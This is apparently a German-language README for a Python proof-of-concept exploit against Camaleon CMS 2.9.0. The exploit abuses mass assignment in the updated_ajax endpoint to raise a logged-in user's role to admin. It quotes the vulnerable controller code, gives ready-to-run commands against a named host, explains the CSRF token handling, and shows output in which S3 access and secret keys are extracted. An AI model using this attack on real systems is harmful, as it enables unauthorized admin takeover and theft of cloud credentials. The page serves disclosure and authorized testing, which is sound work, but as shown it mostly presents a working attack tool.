
Authentifizierte Privilegieneskalation in Camaleon CMS v2.9.0 durch unsachgemäße Parameterbehandlung im updated_ajax-Endpunkt.
Ziel: Camaleon CMS
v2.9.0
Typ: Authentifizierte Privilegienerweiterung durch Massenzuweisung inupdated_ajax(Rollenfeld)
Extras: Optionale Extraktion der S3-Konfiguration von der Admin-Einstellungsseite (falls der authentifizierte Benutzer nach der Eskalation darauf zugreifen kann)
Dieses Repository enthält ein Python Proof-of-Concept-Skript, das:
/admin/profile/edit abruft.updated_ajax-Endpunkt aufruft, um password[...]-Felder zu aktualisieren und permit! zu missbrauchen, um password[role]=admin zu setzen.-e) S3-Konfigurationswerte von /admin/settings/site extrahiert.-r) die Rolle nach dem Lauf auf den ursprünglichen Wert zurücksetzt.Dieses Verhalten entspricht dem unsicheren Massenzuweisungsmuster, das in der zugehörigen Beratung beschrieben wird:
Die folgende Controller-Aktion aktualisiert einen Benutzer mit permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Da permit! alle Schlüssel unter password erlaubt, kann ein Angreifer senden:
password[password]password[password_confirmation]password[role]=adminund die Anwendung akzeptiert es und stuft die Rolle des Benutzers hoch.
admin setzt.requestsAbhängigkeit installieren:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
Das Skript überprüft das zurückgegebene HTML auf einen /admin/logout-Link nach dem Login-POST.
Wenn der Logout-Link vorhanden ist, gilt die Sitzung als authentifiziert.
Camaleon verwendet Rails-artiges CSRF. Tokens finden Sie typischerweise an zwei häufigen Stellen:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">Das PoC ruft das Meta-CSRF-Token von /admin/profile/edit ab und verwendet es in:
authenticity_token=<token>X-CSRF-Token: <token>Dieser Code wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt (z.B. Labs, CTFs und Umgebungen, in denen Sie ausdrückliche Genehmigung haben).
Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben.
| Flag | Beschreibung |
|---|
-u, --url | Basis-URL (z.B. http://alienone.in) |
-U, --username | Gültiger Benutzername |
-P, --password | Gültiges Passwort |
--newpass | Passwortwert, der in der Aktualisierungsanfrage gesendet wird (Standard: test) |
-e, --extract | S3-Konfiguration von der Einstellungsseite extrahieren |
-r, --revert | Rolle nach der Eskalation auf die ursprüngliche Rolle zurücksetzen |